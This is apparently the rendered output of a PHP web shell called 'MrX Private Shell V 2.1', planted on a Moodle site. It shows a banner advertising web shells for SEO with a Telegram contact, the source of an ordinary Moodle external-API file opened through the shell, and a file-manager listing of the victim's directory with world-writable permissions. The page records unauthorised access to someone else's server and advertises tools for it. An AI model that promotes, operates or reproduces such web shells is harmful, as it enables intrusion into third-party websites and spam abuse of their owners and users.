__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace core\external;
use core_external\external_api;
use core_external\external_function_parameters;
use core_external\external_value;
/**
* The external API to record users action on the feedback notification.
*
* @package core
* @copyright 2020 Shamim Rezaie <shamim@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class record_userfeedback_action extends external_api {
/**
* Returns description of parameters.
*
* @return external_function_parameters
*/
public static function execute_parameters() {
return new external_function_parameters([
'action' => new external_value(PARAM_ALPHA, 'The action taken by user'),
'contextid' => new external_value(PARAM_INT, 'The context id of the page the user is in'),
]);
}
/**
* Record users action to the feedback CTA
*
* @param string $action The action the user took
* @param int $contextid The context id
* @throws \invalid_parameter_exception
*/
public static function execute(string $action, int $contextid) {
external_api::validate_parameters(self::execute_parameters(), [
'action' => $action,
'contextid' => $contextid,
]);
$context = \context::instance_by_id($contextid);
self::validate_context($context);
switch ($action) {
case 'give':
set_user_preference('core_userfeedback_give', time());
$event = \core\event\userfeedback_give::create(['context' => $context]);
$event->trigger();
break;
case 'remind':
set_user_preference('core_userfeedback_remind', time());
$event = \core\event\userfeedback_remind::create(['context' => $context]);
$event->trigger();
break;
default:
throw new \invalid_parameter_exception('Invalid value for action parameter (value: ' . $action . '),' .
'allowed values are: give,remind');
}
}
/**
* Returns description of method result value
*
* @return null
*/
public static function execute_returns() {
return null;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| output | Folder | 0777 |
|
|
| coursecat_summary_exporter.php | File | 3.63 KB | 0777 |
|
| dynamic_tabs_get_content.php | File | 3.55 KB | 0777 |
|
| editmode.php | File | 2.67 KB | 0777 |
|
| exporter.php | File | 25.66 KB | 0777 |
|
| moodlenet_auth_check.php | File | 5.11 KB | 0777 |
|
| moodlenet_get_share_info_activity.php | File | 5.2 KB | 0777 |
|
| moodlenet_get_shared_course_info.php | File | 4.85 KB | 0777 |
|
| moodlenet_send_activity.php | File | 6.91 KB | 0777 |
|
| moodlenet_send_course.php | File | 8.46 KB | 0777 |
|
| paged_content_exporter.php | File | 4.23 KB | 0777 |
|
| persistent_exporter.php | File | 2.82 KB | 0777 |
|
| record_userfeedback_action.php | File | 2.91 KB | 0777 |
|